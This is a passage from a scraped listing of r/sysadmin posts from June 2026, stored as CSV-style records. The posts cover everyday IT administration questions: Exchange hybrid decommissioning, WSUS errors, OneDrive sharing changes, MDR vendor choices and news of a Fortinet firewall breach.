mostly interested in: * Does Windows detect both reliably? * Any issues with Teams? * Any latency, echo, or sync problems? * Is it stable enough for everyday business meetings? I'm trying to avoid spending a lot more money on dedicated conference room equipment if this setup works well enough. Would love to hear from anyone who has real-world experience with it. Thanks!",Fit_Tomatillo_9420,1,0,1781859292,/r/sysadmin/comments/1u9wqg6/would_two_ssl_connex_usb_mics_work_well_together/,https://www.reddit.com/r/sysadmin/comments/1u9wqg6/would_two_ssl_connex_usb_mics_work_well_together/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9wio1,sysadmin,"I built a portable Windows diagnostic toolkit that generates a customer report — looking for feedback from people who do repair work",[removed],Uresh_Fonseka,1,0,1781858471,/r/sysadmin/comments/1u9wio1/i_built_a_portable_windows_diagnostic_toolkit/,https://www.reddit.com/r/sysadmin/comments/1u9wio1/i_built_a_portable_windows_diagnostic_toolkit/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9winj,sysadmin,Fortibleed - over 70k Fortinet firewalls compromised,"[https://arstechnica.com/security/2026/06/massive-breach-spills-credentials-for-thousands-of-sensitive-networks/](https://arstechnica.com/security/2026/06/massive-breach-spills-credentials-for-thousands-of-sensitive-networks/) ""Researchers have uncovered a massive breach of Fortinet firewalls that has given Russian-speaking attackers near-unrestricted access to some of the world’s largest and most powerful organizations, including Oracle, Chevron, Lenovo, Federal Express, a NATO defense contractor, and Fortinet itself. Nearly 74,000 Fortinet devices from more than 21,000 IP addresses in 194 countries have been compromised and their plaintext credentials exposed online"" Hudson Rock has also made a search engine available [here](https://www.hudsonrock.com/fortinet) to search for domains that are known to be affected. F in chat for people using Fortigates",CaptainCatatonic,1,0,1781858470,/r/sysadmin/comments/1u9winj/fortibleed_over_70k_fortinet_firewalls_compromised/,https://www.reddit.com/r/sysadmin/comments/1u9winj/fortibleed_over_70k_fortinet_firewalls_compromised/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9whu8,sysadmin,30 Years in Sysadmin Work and AI Is Changing My Perspective,[removed],Fleischfabrik,1,0,1781858390,/r/sysadmin/comments/1u9whu8/30_years_in_sysadmin_work_and_ai_is_changing_my/,https://www.reddit.com/r/sysadmin/comments/1u9whu8/30_years_in_sysadmin_work_and_ai_is_changing_my/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9we14,sysadmin,This thing is making me feel odd about my job,[removed],Fleischfabrik,1,0,1781857996,/r/sysadmin/comments/1u9we14/this_thing_is_making_me_feel_odd_about_my_job/,https://www.reddit.com/r/sysadmin/comments/1u9we14/this_thing_is_making_me_feel_odd_about_my_job/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9wb5i,sysadmin,How do you sysadmins cope with the changes?,[removed],Fleischfabrik,1,0,1781857700,/r/sysadmin/comments/1u9wb5i/how_do_you_sysadmins_cope_with_the_changes/,https://www.reddit.com/r/sysadmin/comments/1u9wb5i/how_do_you_sysadmins_cope_with_the_changes/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9w7an,sysadmin,Claude is doing better than I,[removed],Fleischfabrik,1,0,1781857309,/r/sysadmin/comments/1u9w7an/claude_is_doing_better_than_i/,https://www.reddit.com/r/sysadmin/comments/1u9w7an/claude_is_doing_better_than_i/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9w365,sysadmin,Weird Server 2019 WSUS errors,"Hey everyone, I am currently trying to set up a WSUS on a new VM running Windows Server 2019. I can't get the initial sync to work though. I let the sync run for an entire 24 hours before without any progress. I even reinstalled my vm a couple of times just to be sure it wasn't a one time thing. Sadly the same errors keep coming up. Here's the log: [https://pastebin.com/FVTHXNDa](https://pastebin.com/FVTHXNDa) I cannot find anything really about this specific error. No mentions of known issues with Server 2019 either. Disabled my firewall, didn't even join the server in my domain yet, installed every Windows Update,... At this point I am a bit lost ngl. Would appreciate if anybody could point me in the right direction. ",m45onPC,1,0,1781856888,/r/sysadmin/comments/1u9w365/weird_server_2019_wsus_errors/,https://www.reddit.com/r/sysadmin/comments/1u9w365/weird_server_2019_wsus_errors/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9vufb,sysadmin,"Weekly 'I made a useful thing' Thread - June 19, 2026","There is a great deal of user-generated content out there, from scripts and software to tutorials and videos, but we've generally tried to keep that off of the front page due to the volume and as a result of community feedback. There's also a great deal of content out there that violates our advertising/promotion rule, from scripts and software to tutorials and videos. We have received a number of requests for exemptions to the rule, and rather than allowing the front page to get consumed, we thought we'd try a weekly thread that allows for that kind of content. We don't have a catchy name for it yet, so please let us know if you have any ideas! In this thread, feel free to show us your pet project, YouTube videos, blog posts, or whatever else you may have and share it with the community. Commercial advertisements, affiliate links, or links that appear to be monetization-grabs will still be removed.",AutoModerator,1,0,1781856015,/r/sysadmin/comments/1u9vufb/weekly_i_made_a_useful_thing_thread_june_19_2026/,https://www.reddit.com/r/sysadmin/comments/1u9vufb/weekly_i_made_a_useful_thing_thread_june_19_2026/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9v58k,sysadmin,What percentage of your ticket queue follows the same troubleshooting steps every single time?,"I’ve spent years supporting Windows endpoints, SCCM, Intune, VPNs, software deployment, and end users. Looking through tickets over the years, I keep seeing the same pattern: Teams issues Outlook issues VPN issues WiFi issues Software installs Most eventually follow known troubleshooting steps. Today’s IT Support: End-user ↓ Create Ticket ↓ Wait in Queue ↓ L1 Support ↓ Remote Session ↓ Troubleshooting ↓ Resolved (30–120 min) What if it looked more like this? End-user ↓ Issue Detected ↓ Playbook Selected ↓ Flush DNS Gather Logs Restart Service Driver Check ↓ Verification ↓ Ticket Avoided (2–5 min) I’m not talking about AI running arbitrary scripts or making uncontrolled changes. I’m talking about approved, auditable remediation play-books where: Safe actions run automatically Higher-risk actions require approval Every action is logged Failed remediation automatically escalates with diagnostics attached The goal isn’t replacing IT. The goal is reducing repetitive tickets so engineers can spend more time on problems that actually require engineering. **If security, approvals, and auditing were already handled, what ticket category would you automate first?**",No_Gap976,1,0,1781853440,/r/sysadmin/comments/1u9v58k/what_percentage_of_your_ticket_queue_follows_the/,https://www.reddit.com/r/sysadmin/comments/1u9v58k/what_percentage_of_your_ticket_queue_follows_the/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9v32z,sysadmin,What are the best attack surface management tools right now?,"We’ve been reviewing a few attack surface management tools recently, mostly because the amount of externally exposed infrastructure and container sprawl across client environments has gotten harder to track properly. ​ A lot of the platforms seem good at discovery and visibility, but once you start digging, it still turns into a huge amount of manual triage. Especially around containerized workloads and open source components, where the same images can generate massive CVE lists even if half the software never actually runs. ​ What I’m trying to figure out is which tools are genuinely helping reduce risk vs just improving visibility into it. Some of the ones we’ve looked at so far: • RapidFort: more focused on runtime-informed attack surface reduction and removing unused software/components from container images • Palo Alto Cortex: broad visibility and integrations, especially if you’re already in that ecosystem • CyCognito: strong external exposure discovery and asset mapping ​ Interested to hear what others here are actually using in production. Are you prioritising visibility, remediation, external exposure management, runtime context, or something else entirely?",Low_Cow3045,1,0,1781853236,/r/sysadmin/comments/1u9v32z/what_are_the_best_attack_surface_management_tools/,https://www.reddit.com/r/sysadmin/comments/1u9v32z/what_are_the_best_attack_surface_management_tools/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9uwhl,sysadmin,What AI tools are you actually using day-to-day?,"If your answer is ""none"" or ""it's all a marketing gimmick,"" please skip this thread. I respect the stance, but I only want to hear from peers who actively use it. I'm a project engineer handling infrastructure deployments, and I want to know what tools are delivering real value. No coding or scripting talk. Just pure research, planning, and troubleshooting. \*\*What's your go-to tool?\*\* (Gemini, Claude, Perplexity, local LLMs, etc.) \*\*What do you actually use it for?\*\* (Digging through manuals, dealing with weird switch errors, planning migrations, etc.) \*\*What's a specific engineering problem it actually solved for you on a project?\*\*",GG_Kong,1,0,1781852587,/r/sysadmin/comments/1u9uwhl/what_ai_tools_are_you_actually_using_daytoday/,https://www.reddit.com/r/sysadmin/comments/1u9uwhl/what_ai_tools_are_you_actually_using_daytoday/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9u9dd,sysadmin,"Evaluating MDR vendors in UAE. Three demos in, and they all sound the same.","We're a fintech in UAE. around 180 endpoints, no in-house SOC, and the regulatory pressure is real here. Especially around data residency and incident response SLAs.  We've spoken to three MDR vendors so far, and every pitch has started to blur together.   What I actually want to know is -   What actually helped you choose one MDR vendor over another?  Was it something you uncovered during the POC? Reference calls? Escalation process? Analyst quality? Something else entirely?  We're not a huge org but we're not small either from a compliance standpoint.  Would appreciate input from people who've actually been through this. ",Which-Shame-1420,1,0,1781850387,/r/sysadmin/comments/1u9u9dd/evaluating_mdr_vendors_in_uae_three_demos_in_and/,https://www.reddit.com/r/sysadmin/comments/1u9u9dd/evaluating_mdr_vendors_in_uae_three_demos_in_and/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9ttew,sysadmin,"Powering off our last on-prem Exchange in hybrid — is shutdown enough, or do I need the full management-tools decommission steps?","We're in Exchange hybrid with directory sync (Entra Connect) still in place. All mailboxes are migrated to Exchange Online (no public folders in our environment) — the on-prem Exchange server is now only there for recipient management. I want to power it off. My questions: 1. **Is simply shutting the server down enough?** Or do I have to go through everything in the Microsoft article ([manage-hybrid-exchange-recipients-with-management-tools](https://learn.microsoft.com/en-us/exchange/manage-hybrid-exchange-recipients-with-management-tools)) — i.e. install the Exchange Management Tools (only role) on a domain-joined box, create the Recipient Management EMT group, and optionally the cleanup steps (removing the federation trust, hybrid agent, AD cleanup script, etc.)? I understand directory sync means on-prem AD stays the source of authority, so I can't edit synced recipients directly in EXO/Entra — just trying to figure out the minimum I actually need to do vs. the full decommission path. (And yes, I know: power off, but **do not uninstall** the last server.) 2. **For those of you who've already done this** — after powering off the server, how do you manage recipients day to day? What does your actual PowerShell workflow look like (loading the RecipientManagement snap-in, `Enable-RemoteMailbox`, `Set-RemoteMailbox`, distribution group management, etc.)? Any scripts, shortcuts, or gotchas you'd share? I've seen the \~40s latency note from the audit-log initializer and the lack of RBAC/auditing — curious how that plays out in real life. Would really appreciate hearing how people run this in production. Thanks.",maxcoder88,1,0,1781848872,/r/sysadmin/comments/1u9ttew/powering_off_our_last_onprem_exchange_in_hybrid/,https://www.reddit.com/r/sysadmin/comments/1u9ttew/powering_off_our_last_onprem_exchange_in_hybrid/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9sfag,sysadmin,.bak File,[removed],Smooth-Caramel1488,1,1,1781844406,/r/sysadmin/comments/1u9sfag/bak_file/,https://www.reddit.com/r/sysadmin/comments/1u9sfag/bak_file/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9r7qt,sysadmin,What projects helped you get a Network Engineering internship?,[removed],Round-Pear-2616,1,1,1781840661,/r/sysadmin/comments/1u9r7qt/what_projects_helped_you_get_a_network/,https://www.reddit.com/r/sysadmin/comments/1u9r7qt/what_projects_helped_you_get_a_network/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9prtv,sysadmin,"Hey, are people actually still managing contact sync with PowerShell scripts?","*We inherited a setup that mostly works, but every few weeks something breaks and somebody has to go babysit it. Starting to wonder if this is one of those things that just isn’t worth DIY-ing anymore.* ",This_Singer3436,1,0,1781836379,/r/sysadmin/comments/1u9prtv/hey_are_people_actually_still_managing_contact/,https://www.reddit.com/r/sysadmin/comments/1u9prtv/hey_are_people_actually_still_managing_contact/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9owft,sysadmin,Has AI ruined our concept of realistic expectations at work?,"Not long ago, your boss might ask for a comprehensive report and give you a standard two weeks to complete it. Now? That same report is expected in a week, or maybe even a couple of days. The overarching assumption is that you can simply ""use AI"" to speedrun the entire process. But... The thing is, processing information is meant to take time. Sometimes there's lots of variables to something and you can't always just ""use ai"" to get that answer. Sure there will be people on here that will say, ai is great at summarizing a ton of information and exploring rags.. but let's be honest here... How many times have you asked an ai a question and it got it completely wrong? If we comply with these tight timelines, what are we to do if the ai got it wrong? Where does responsibility lie in this picture? Is this a fireable offense?",Darkhexical,1,0,1781833854,/r/sysadmin/comments/1u9owft/has_ai_ruined_our_concept_of_realistic/,https://www.reddit.com/r/sysadmin/comments/1u9owft/has_ai_ruined_our_concept_of_realistic/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9o6w7,sysadmin,Google Workspace Administration for k-12,I may finally be finding my back to sysadmin work after spending the last year as a General Manager. I have 15ish years of on-prem solo sysadmin work but have never administered Workspace for k-12. Does anyone have a quick guide or resource for how a typical k-12 system uses workspace so that I can bone up on my knowledge?,Growing-Bee-1969,1,0,1781831766,/r/sysadmin/comments/1u9o6w7/google_workspace_administration_for_k12/,https://www.reddit.com/r/sysadmin/comments/1u9o6w7/google_workspace_administration_for_k12/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9ns0v,sysadmin,"Microsoft Entra Admin Center lab not working — no sandbox option, authentication token error","I'm doing a Microsoft Learn cybersecurity lab (identity and access tasks) and trying to use Entra Admin Center. I don’t see the sandbox activation option, and when I sign in with my school account it asks for authentication tokens and won’t let me create users. Is this a permissions issue or is the lab broken???",Aromatic_Ad6204,1,0,1781830589,/r/sysadmin/comments/1u9ns0v/microsoft_entra_admin_center_lab_not_working_no/,https://www.reddit.com/r/sysadmin/comments/1u9ns0v/microsoft_entra_admin_center_lab_not_working_no/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9morl,sysadmin,My stance on technical debt,"I hate ancient VOIP software I hate file shares running on Windows Server 2003 I hate non standard naming conventions I hate Intune I hate dumb niche “requirements” I hate messy network closets I hate MSPs and crappy vendors I hate printers I hate cheap cable toners I hate poor documentation I HATE TECH DEBTTTTTTTTTTTTTTTTTTTT",SolarJJ,1,0,1781827511,/r/sysadmin/comments/1u9morl/my_stance_on_technical_debt/,https://www.reddit.com/r/sysadmin/comments/1u9morl/my_stance_on_technical_debt/,self.sysadmin,True,1,False,Rant,arctic-shift,1781885547 1u9ljot,sysadmin,Is APC still a good ups brand ?,[removed],[deleted],1,0,1781824448,/r/sysadmin/comments/1u9ljot/is_apc_still_a_good_ups_brand/,,,True,1,False,Question,arctic-shift,1781885547 1u9lhlh,sysadmin,Looking for UPS,[removed],knesha,1,0,1781824295,/r/sysadmin/comments/1u9lhlh/looking_for_ups/,https://www.reddit.com/r/sysadmin/comments/1u9lhlh/looking_for_ups/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9k7og,sysadmin,any issues downloading purview exports right now,"theres nothing on the admin portal status page, but that doesn't always mean something I'm an ediscovery admin and my [https://nam.proxyservice.ediscovery.svc.cloud.microsoft/ediscovery/api/proxy/exportaedblob](https://nam.proxyservice.ediscovery.svc.cloud.microsoft/ediscovery/api/proxy/exportaedblob) link returns Missing required permissions right now. anyone else having issues?",redditusermatthew,1,0,1781821026,/r/sysadmin/comments/1u9k7og/any_issues_downloading_purview_exports_right_now/,https://www.reddit.com/r/sysadmin/comments/1u9k7og/any_issues_downloading_purview_exports_right_now/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9itha,sysadmin,"Managing Identity Provisioning Across Multiple Entra ID Tenants, Cloud Sync Agents, and Enterprise Apps",[removed],orqida,1,0,1781817642,/r/sysadmin/comments/1u9itha/managing_identity_provisioning_across_multiple/,https://www.reddit.com/r/sysadmin/comments/1u9itha/managing_identity_provisioning_across_multiple/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9ik3i,sysadmin,Microsoft Edge Extended Stable Channel,"[https://learn.microsoft.com/en-us/deployedge/microsoft-edge-release-schedule](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-release-schedule) According to that release schedule, it skips some of the version updates. So, you get major updates less often, but it ends up catching up with stable release every couple of months. So, on those catch-up months, aren’t you still subject to getting new features that would not have had a chance to have been tested by the stable channel users in your organization?",Fabulous_Cow_4714,1,0,1781817036,/r/sysadmin/comments/1u9ik3i/microsoft_edge_extended_stable_channel/,https://www.reddit.com/r/sysadmin/comments/1u9ik3i/microsoft_edge_extended_stable_channel/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9ihgc,sysadmin,Anyone use Microstructure Edge Extended Stable?,"[https://learn.microsoft.com/en-us/deployedge/microsoft-edge-release-schedule](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-release-schedule) According to that release schedule, it skips some of the version updates, but ends up catching up with stable release every couple of months. So, on those catch-up months aren’t you still subject to getting new features that would not have had a chance to have been tested by the stable channel users in your organization?",Fabulous_Cow_4714,1,0,1781816865,/r/sysadmin/comments/1u9ihgc/anyone_use_microstructure_edge_extended_stable/,https://www.reddit.com/r/sysadmin/comments/1u9ihgc/anyone_use_microstructure_edge_extended_stable/,self.sysadmin,True,1,False,Microsoft,arctic-shift,1781885547 1u9hor0,sysadmin,Looking for sysadmins with stories worth telling,"I've been working in IT for more than 25 years, and one thing I've learned is that every sysadmin has at least one story that still gets brought up years later. Maybe it was a datacenter incident. A failed migration. A ransomware event. Shadow IT that somehow became production. A DR test. A printer that held an entire business hostage. A legacy system nobody dared touch. Or simply that one outage that everyone still refers to as ""the Tuesday incident."" For my podcast called *IT Horror Stories with Jack Smith*, we're looking for experienced IT professionals who'd be willing to share those stories. The focus isn't on naming companies or blaming people—quite the opposite. We want to talk about what happened, why it happened, how it was solved, and most importantly, what everyone learned from it. Bonus points if we can somewhere prevent a similar 'oops' in the future. A few ground rules: * Stories should be at least 18 months old. * Companies and people can (and should) be fully anonymized. * We're interested in lessons learned, not finger-pointing. * You don't need podcast experience - just a story worth telling. * We don't put out video, only audio. If you've got a story that still makes your colleagues laugh, cringe, or just say ""I remember that day..."", I'd love to hear from you. Feel free to send me a DM.",ITHorrorStories,1,0,1781815020,/r/sysadmin/comments/1u9hor0/looking_for_sysadmins_with_stories_worth_telling/,https://www.reddit.com/r/sysadmin/comments/1u9hor0/looking_for_sysadmins_with_stories_worth_telling/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9h80d,sysadmin,Uptick in '550 5.1.10 RESOLVER.ADR.RecipientNotFound with Exchange Online?,"Long shot question, anyone else seeing more 'recipient not found' bounceback messages today? This morning I had a user report they got a bounceback on email to an internal user (I've double checked and they didn't fat finger it) stating the recipient does not exist. Resending the message had it go through. Just now, we had an external recipients server (also using exchange online) give a bounceback with the same error code. Resending worked.",iamrrr1,1,0,1781813954,/r/sysadmin/comments/1u9h80d/uptick_in_550_5110_resolveradrrecipientnotfound/,https://www.reddit.com/r/sysadmin/comments/1u9h80d/uptick_in_550_5110_resolveradrrecipientnotfound/,self.sysadmin,True,1,False,Microsoft,arctic-shift,1781885547 1u9h3jk,sysadmin,I would like to give a shout out to ClickPaste,"[https://github.com/Collective-Software/ClickPaste/releases/tag/v1.4.4](https://github.com/Collective-Software/ClickPaste/releases/tag/v1.4.4) This is one of those apps that once you have it you forget how you got on without it. Typing some god awful password whilst inside several layers of remote desktop always was painful. Click Paste works flawlessly every. damn. time. Even some of my colleagues who have been in IT for many years have never heard of it. 10/10 can recommend.",elliottmarter,1,0,1781813676,/r/sysadmin/comments/1u9h3jk/i_would_like_to_give_a_shout_out_to_clickpaste/,https://www.reddit.com/r/sysadmin/comments/1u9h3jk/i_would_like_to_give_a_shout_out_to_clickpaste/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9gsws,sysadmin,Forensit Profwiz - Any issues with OneDrive on Windows 11?,"It's been a hot minute since I last used Forensit on a local domain migration to Azure AD back in 2017. But now that everybody is backing up files to OneDrive, it seemed to be a bit overkill to use Forensit when migrating Win 11 devices from the local server to Entra AD. Nonetheless, I wanted to see if anybody has had any issues with OneDrive or other areas before pulling the trigger. Any information would be greatly appreciated!",cbuizel,1,0,1781812990,/r/sysadmin/comments/1u9gsws/forensit_profwiz_any_issues_with_onedrive_on/,https://www.reddit.com/r/sysadmin/comments/1u9gsws/forensit_profwiz_any_issues_with_onedrive_on/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9gnj2,sysadmin,Mass brute force attack on Microsoft Azure CLI?,"Anyone else seeing a massive brute force login on their Microsoft Azure CLI services? Thankfully the attackers aren't getting in, but dozens of my end users are being locked out, so its been a long fun morning. ",theKtechex,1,0,1781812653,/r/sysadmin/comments/1u9gnj2/mass_brute_force_attack_on_microsoft_azure_cli/,https://www.reddit.com/r/sysadmin/comments/1u9gnj2/mass_brute_force_attack_on_microsoft_azure_cli/,self.sysadmin,True,1,False,General Discussion,arctic-shift,1781885547 1u9fqy5,sysadmin,Has anyone seen Layer 2 issues with Huawei NE40 image in EVE-NG?,"I have a very simple lab: * PC1 connected to Ethernet1/0/0 * PC2 connected to Ethernet1/0/3 * Both interfaces configured as access ports in VLAN 1000 The PCs can learn each other's MAC addresses, but ARP/ping does not work as expected. The same hosts work fine when connected through a MikroTik router/switch. Is this a known limitation/bug of the NE40 image in EVE-NG, or am I missing something in the configuration? Config: vlan 1000 interface Ethernet1/0/0 portswitch port link-type access port default vlan 1000 interface Ethernet1/0/3 portswitch port link-type access port default vlan 1000 Thanks!",Odd-Astronaut-4689,1,0,1781810588,/r/sysadmin/comments/1u9fqy5/has_anyone_seen_layer_2_issues_with_huawei_ne40/,https://www.reddit.com/r/sysadmin/comments/1u9fqy5/has_anyone_seen_layer_2_issues_with_huawei_ne40/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9fm74,sysadmin,Has anyone seen Layer 2 issues with Huawei NE40 in EVE-NG?,[removed],Ornery-Pack3940,1,1,1781810290,/r/sysadmin/comments/1u9fm74/has_anyone_seen_layer_2_issues_with_huawei_ne40/,https://www.reddit.com/r/sysadmin/comments/1u9fm74/has_anyone_seen_layer_2_issues_with_huawei_ne40/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9ezgz,sysadmin,Anyone else seeing scan-to-email issues with Gmail SMTP today?,"We’ve had multiple unrelated clients report scan-to-email failures today. The common factor appears to be MFPs/copiers configured to send through Gmail SMTP accounts. These are separate clients with different environments, and the configurations have been working previously without issue. Initial testing suggests scans sent through Gmail SMTP are not consistently being delivered, while the copiers themselves appear to be functioning normally. Before I spend too much time chasing individual configurations, I’m curious if anyone else is seeing similar behavior today or has noticed any recent changes affecting Gmail SMTP and scan-to-email workflows.",DecodingLeaves,1,0,1781808891,/r/sysadmin/comments/1u9ezgz/anyone_else_seeing_scantoemail_issues_with_gmail/,https://www.reddit.com/r/sysadmin/comments/1u9ezgz/anyone_else_seeing_scantoemail_issues_with_gmail/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9erke,sysadmin,How to transition into Endpoint Engineer or System Admin in Toronto,"This is my very first Reddit post and I was hoping to get some guidance from the community rather than discussing with ChatGPT and Claude AI. So I have a total of 7 years experience as IT Specialist. Back in India I worked for a AI Finance Startup and I was responsible for Setting up the Cisco Meraki network and devices (Firewalls, Switches, Access Points), I also worked as Jumpcloud and Google Workspace Admin, worked on POC and implementation for Netskope & Crowdstrike AV as well as represented the India office for TISAX, ISO Audit for 4 consecutive years. I also worked in creating AWS Workspaces and completely managed them for 25 users from 2019-2023. Then in September 2023 I moved to Toronto and got a job as IT Analyst but unfortunately got laid off on last day of my probation because the company was collapsing. Due to financial issues I took up any job that wanted me and ended up working for a Energy Company as Service Desk Analyst on contract role (which even though helped improve my efficiency affected my mental health since the team was super toxic and also I had to take a significant pay cut). I was able to get another job for a good IT Consultancy doing Windows 11 Migration for a very big Banking company and stayed there for 1 year. Meanwhile I applied for IT Specialist job at a very reputed University in Toronto (went through 90 minutes of panel discussion but got ghosted) and later got another contract role at a E-commerce Tech company as L2 On-site Tech and the pay is average. Now I want to move into better roles like IT Specialist or Senior IT Operations and eventually into Endpoint Engineer or System Admin but I am not getting any call backs. I did rebrand my resume (but it got rebranded as having way more ownership responsibilities at my current job which is not true but boy did it get me so many calls from recruiters). I ended up being head hunted by recruiter from a very reputed Asset Management company and went through 5 rounds (Hiring Manager, Vice President, Senior Vice President, Peer connect and Senior VP HR) only to be completely ghosted. I am lost on how to transition into better roles and what certifications to complete and if the Certifications be any match to losing to candidates who already have hands-on experience. From ChatGPT and Claude AI I was able to understand that MD-102, SC-300 and Jamf 100 would benefit my resume and help me at least get interviews Does anyone have any guidance or suggestion for me? I really want to move into hardcore Endpoint Deployment or System Administration and I know I can do it because I have done it for 4 years back in India but its as if the experience is completely overlooked. P.S: Sorry for the long post !!",Double_Parsley_9732,1,0,1781808404,/r/sysadmin/comments/1u9erke/how_to_transition_into_endpoint_engineer_or/,https://www.reddit.com/r/sysadmin/comments/1u9erke/how_to_transition_into_endpoint_engineer_or/,self.sysadmin,True,1,False,ChatGPT,arctic-shift,1781885547 1u9emmr,sysadmin,M365 Onedrive sharing got way too complicated,"We primarily use Onedrive for sharing large files out of the office. Microsoft made a change to make this simple process way more complicated than it needs to be. Old Process: 1. Find file in Onedrive, right click, share, add emails that require access 2. Send link to designated external users. 3. External user opens link, types their email, they get sent a 2fa code via that email 4. They are now able to download/view the file. As of May/June 2026, Microsoft transitioned to new OneDrive/SharePoint external sharing invitations from the older SharePoint Online OTP model to Microsoft Entra B2B guest accounts. New process: 1. Find file in Onedrive, right click, share, add emails that require access 2. Send link to designated external users. 3. External user opens link, types their email, presses enter 4. The page redirects to our M365 login portal, external user needs to type their email again, presses enter 5. They are now prompted to login via: 5a. ""Use your face, fingerprint, PIN or security"" **This wouldn't exist if the email is not a Microsoft account** 5b. ""Use your password"" **This wouldn't exist within our domain** 5c. ""Send a code to \*entered email from step 4\*"" 6. External user needs to select option 5c, do an email 2fa verification 7. The user is now able to view/download the file. Not only is this more confusing for end users, as I've been asked by about half a dozen people in a week why the onedrive links are asking for a login, but my entra AD is now being bombarded by new guest users being invited into the domain via B2B invitations. I guess this all begs the question. Does anyone have a decent alternative to Onedrive?",batedcobraa,1,0,1781808099,/r/sysadmin/comments/1u9emmr/m365_onedrive_sharing_got_way_too_complicated/,https://www.reddit.com/r/sysadmin/comments/1u9emmr/m365_onedrive_sharing_got_way_too_complicated/,self.sysadmin,True,1,False,Rant,arctic-shift,1781885547 1u9e5v8,sysadmin,Hitachi B series storage,"Hi fellow Admins, Is there any one who uses Hitachi storage? We are planning to move from HPE and one of the vendors that came up was Hitachi. Any one has any good or bad experience? It will be used as a storage for VMware cluster. ",Wunnder,1,0,1781807070,/r/sysadmin/comments/1u9e5v8/hitachi_b_series_storage/,https://www.reddit.com/r/sysadmin/comments/1u9e5v8/hitachi_b_series_storage/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9e57s,sysadmin,Google DNS problems,"Any one else notice anything strange from 1:25-1:39pm EDT? Our main symptom was that every one of our Logitech MS Teams Rooms went offline and back online 2 or 3 times during this period. We called our ISP and he said that multiple of his customers had experienced problems during this block of time as well, and the common thread for all of them was Google DNS. We don't use Google DNS on our primary office network, but we do on some of our VLANS. So, our firewalls didn't failover to our secondary ISP, since our internet connection wasn't actually down. We are in NW GA, USA. ",cllatgmail,1,0,1781807033,/r/sysadmin/comments/1u9e57s/google_dns_problems/,https://www.reddit.com/r/sysadmin/comments/1u9e57s/google_dns_problems/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9de3j,sysadmin,Issues scanning FIPS Mode Palo Alto Firewalls with Tenable,[removed],majora771,1,1,1781805401,/r/sysadmin/comments/1u9de3j/issues_scanning_fips_mode_palo_alto_firewalls/,https://www.reddit.com/r/sysadmin/comments/1u9de3j/issues_scanning_fips_mode_palo_alto_firewalls/,self.sysadmin,True,1,False,Question,arctic-shift,1781885547 1u9d4e4,sysadmin,Ticketing System Help,"Hi Everyone, What is a ticketing system that HR, Customer Service, and IT can use simultaneously? We have been looking at different ones available, but there are so many that I am not sure if we need something with so many features or a simple one. We have been using Freshdesk, but the price and service have not been meeting our standards recently, and we are looking for something new. I've looked into Desk365, as they support Microsoft Teams integration and some automations that can help our Customer Service team with forwarding to our internal Managers. Any thoughts or suggestions? We are about a 15 agent team all together.",NoMathematician6340,1,0,1781804798,/r/sysadmin/comments/1u9d4e4/ticketing_system_help/,https://www.reddit.com/r/sysadmin/comments/1u9d4e4/ticketing_system_help/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9cwy6,sysadmin,Best practice for deleting old disabled Microsoft 365 accounts without losing data in 2026?,"I'm a relatively new IT/admin guy at a small-to-medium nonprofit (<50 employees), so this may be a basic question, but I'm trying to learn Microsoft 365 administration the right way. When I inherited our environment, I found that we have over 500 Entra ID/Microsoft accounts despite only having around 50 active employees. The vast majority are former employees whose sign-in is blocked and who no longer have any licenses assigned. The explanation I was given is that we never delete employee accounts because we don't want to lose their data for legal reasons. Since deleted accounts are permanently removed after 30 days, the previous non-IT staff trying their best to do IT, simply disabled accounts indefinitely. That got me wondering: how do larger organizations handle this? Are companies with thousands of employees really keeping tens of thousands of disabled user accounts around forever, or is there a better process? I'd like to safely clean up accounts that are several years old, but I want to make absolutely sure no important data is lost. My concerns are things like: • Exchange mailboxes and email history • OneDrive files • SharePoint ownership/permissions • Teams data • Any other Microsoft 365 resources that may still be tied to the user What is the recommended offboarding and retention process before deleting old accounts? How do you verify that all needed data has been preserved, transferred, or archived before deleting the account? For those of you managing larger environments, what retention period do you typically use before permanently removing a former employee's account? I'm trying to follow best practices rather than just continue doing things the way they've always been done.",SlowInsect6948,1,0,1781804347,/r/sysadmin/comments/1u9cwy6/best_practice_for_deleting_old_disabled_microsoft/,https://www.reddit.com/r/sysadmin/comments/1u9cwy6/best_practice_for_deleting_old_disabled_microsoft/,self.sysadmin,True,1,False,,arctic-shift,1781885547 1u9ch8q,sysadmin,IT Techs of Reddit: What was it like fixing Windows XP machines in schools and businesses during the 2010s?,"I'm currently an IT student, and I recently passed my AGDLP and GPO exam on SRV 2022. I've always been fascinated by the period when Windows XP was still everywhere back when I was a kid in school, even when newer versions was becoming the standard. Recently a 